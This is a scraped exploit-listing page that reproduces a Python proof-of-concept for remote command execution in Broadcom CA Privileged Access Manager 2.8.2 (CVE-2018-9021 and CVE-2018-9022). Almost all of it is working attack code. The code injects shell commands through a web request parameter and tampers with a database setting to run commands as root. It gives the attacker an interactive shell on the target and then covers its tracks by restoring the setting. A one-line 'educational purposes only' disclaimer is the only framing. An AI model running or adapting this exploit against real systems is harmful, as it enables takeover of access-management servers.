Broadcom ca privilged access manager 2.8.2 remote command execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-12-05 | Type : webapps | Platform : windows
This exploit / vulnerability Broadcom ca privilged access manager 2.8.2 remote command execution is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Title: Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution
# Author: Peter Lapp
# Date: 2019-12-05
# Vendor: https://techdocs.broadcom.com/us/product-content/recommended-reading/security-notices/ca20180614-01--security-notice-for-ca-privileged-access-manager.html
# CVE: CVE-2018-9021 and CVE-2018-9022
# Tested on: v2.8.2

import urllib2
import urllib
import ssl
import sys
import json
import base64


ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def send_command(ip, cmd):
cmd = urllib.quote_plus(cmd)
url = 'https://'+ip+'/ajax_cmd.php?cmd=AD_IMPORT&command=add&groupId=123&importID=|'+cmd+'+2>%261||&deviceMode=test'
request = urllib2.Request(url, None)
response = urllib2.urlopen(request, context=ctx)
result = json.load(response)
return result['responseData']

def get_db_value():
cmd = "echo select value from configuration_f where name = 'ssl_vpn_network' | mysql -u root uag"
db_value = send_command(ip,cmd)
db_value = db_value.split('\n')[1]
return db_value

def encode_payload(cmd):
sql_string = "update configuration_f set value='\\';"+cmd+" > /tmp/output;\\'' where name='ssl_vpn_network'"
cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag "
return cmd

def restore_sql(value):
sql_string = "update configuration_f set value='"+value+"' where name='ssl_vpn_network'"
cmd = "echo "+base64.b64encode(sql_string)+" | base64 -d | mysql -u root uag "
send_command(ip,cmd)

def main():
print '''Xceedium Command Execution PoC by Peter Lapp(lappsec)'''

if len(sys.argv) != 2:
print "Usage: xceedium_rce.py <target ip>"
sys.exit()

global ip
ip = sys.argv[1]
print 'Enter commands below. Type exit to quit'

while True:
cmd = raw_input('# ')
if cmd == "exit":
sys.exit()
orig_value = get_db_value()
payload = encode_payload(cmd)
send_command(ip, payload)
send_command(ip, 'echo -e openvpn\\n | ncat --send-only 127.0.0.1 2210')
output = send_command(ip, 'cat /tmp/output')
print output
restore_sql(orig_value)



if __name__ == "__main__":
main()